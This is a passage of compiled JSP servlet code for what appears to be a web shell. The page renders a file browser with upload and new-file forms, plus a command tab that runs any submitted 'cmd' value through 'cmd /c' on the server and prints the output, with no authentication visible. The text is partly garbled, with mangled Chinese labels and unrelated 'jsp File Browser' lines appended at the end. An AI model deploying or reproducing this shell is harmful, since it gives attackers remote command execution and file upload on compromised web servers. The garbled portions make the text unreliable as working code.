bgcolor=\"#E7e7e6\"> \n"); out.write(" <td width=\"26%\">"); out.print(strFileName[languageNo]); out.write("</td>\n"); out.write(" <td width=\"19%\">"); out.print(strFileSize[languageNo]); out.write("</td>\n"); out.write(" <td width=\"29%\">"); out.print(strLastModified[languageNo]); out.write("</td>\n"); out.write(" <td width=\"26%\">"); out.print(strFileOperation[languageNo]); out.write("</td>\n"); out.write(" </tr> \n"); out.write(" "); out.print(sbFile); out.write("\n"); out.write(" <!-- <tr align=\"center\"> \n"); out.write(" <td colspan=\"4\"><br>\n"); out.write(" æ?»è®¡æ??件个æ?°ï¼?<font color=\"#FF0000\">30</font> ï¼?大å°?ï¼?<font color=\"#FF0000\">664.9</font> \n"); out.write(" KB </td>\n"); out.write(" </tr>\n"); out.write("\t\t\t -->\n"); out.write(" </table>\n"); out.write("\t\t\t</span>\n"); out.write("\t"); } out.write("\n"); out.write("\n"); out.write(" </td>\n"); out.write(" </tr>\n"); out.write("\n"); out.write("\t<form name=\"frmMake\" action=\"\" method=\"post\">\n"); out.write("\t<tr><td colspan=2 bgcolor=#FBFFC6>\n"); out.write("\t<input type=\"hidden\" name=\"action\" value=\"newFile\">\n"); out.write("\t<input type=\"hidden\" name=\"path\" value=\""); out.print(strDir); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"file\" value=\""); out.print(strFile); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"tabID\" value=\"1\">\n"); out.write("\t<input type=\"hidden\" name=\"content\" value=\"\">\n"); out.write("\t"); if(!strDir.endsWith("\\")) strDir = strDir + "\\"; out.write("\n"); out.write("\t<input type=\"text\" name=\"fileName\" size=36 value=\""); out.print(strDir); out.write("\">\n"); out.write("\t<input type=\"submit\" name=\"btnNewFile\" value=\"æ?°å»ºæ??件\" onclick=\"frmMake.submit()\" > \n"); out.write("\t<input type=\"submit\" name=\"btnNewDir\" value=\"æ?°å»ºç?®å½?\" onclick=\"frmMake.submit()\" > \n"); out.write("\t</form>\t\t\n"); out.write("\t<form name=\"frmUpload\" enctype=\"multipart/form-data\" action=\"\" method=\"post\">\n"); out.write("\t<input type=\"hidden\" name=\"action\" value=\"upload\">\n"); out.write("\t<input type=\"hidden\" name=\"path\" value=\""); out.print(strDir); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"file\" value=\""); out.print(strFile); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\">\n"); out.write("\t<input type=\"hidden\" name=\"tabID\" value=\"1\">\n"); out.write("\t<input type=\"hidden\" name=\"content\" value=\"\">\n"); out.write("\t<input type=\"file\" name=\"cqqUploadFile\" size=\"36\">\n"); out.write("\t<input type=\"submit\" name=\"submit\" value=\"ä¸?ä¼ \">\n"); out.write("\t</td></tr></form>\n"); out.write(" </table>\n"); out.write("</div>\n"); out.write("<div id=\"menu2\" class=\"tabcontent\">\n"); out.write("\n"); String line=""; StringBuffer sbCmd=new StringBuffer(""); if(strCmd!=null) { try { //out.println(strCmd); Process p=Runtime.getRuntime().exec("cmd /c "+strCmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null) { sbCmd.append(line+"\r\n"); } } catch(Exception e) { System.out.println(e.toString()); } } else { strCmd = ""oi.exe""; } out.write("\n"); out.write("<form name=\"cmd\" action=\"\" method=\"post\">\n"); out.write(" \n"); out.write("<input type=\"text\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\" size=50>\n"); out.write("<input type=\"hidden\" name=\"tabID\" value=\"2\">\n"); out.write("<input type=submit name=submit value=\""); out.print(strExecute[languageNo]); out.write("\">\n"); out.write("</form>\n"); if(sbCmd!=null && sbCmd.toString().trim().equals("")==false) { out.write("\n"); out.write(" <TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\">"); out.print(sbCmd.toString()); out.write("</TEXTAREA>\n"); out.write("<br> \n"); } out.write("\n"); out.write("</DIV>\n"); out.write("</div>\n"); out.write("<br><br>\n"); out.write("<center><a href=\"http://www.topronet.com\" target=\"_blank\">www.topronet.com</a> ,All Rights Reserved.\n"); out.write("<br>Any question, please email me cqq1978@Gmail.com\n"); out.write("\n"); } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); else log(t.getMessage(), t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de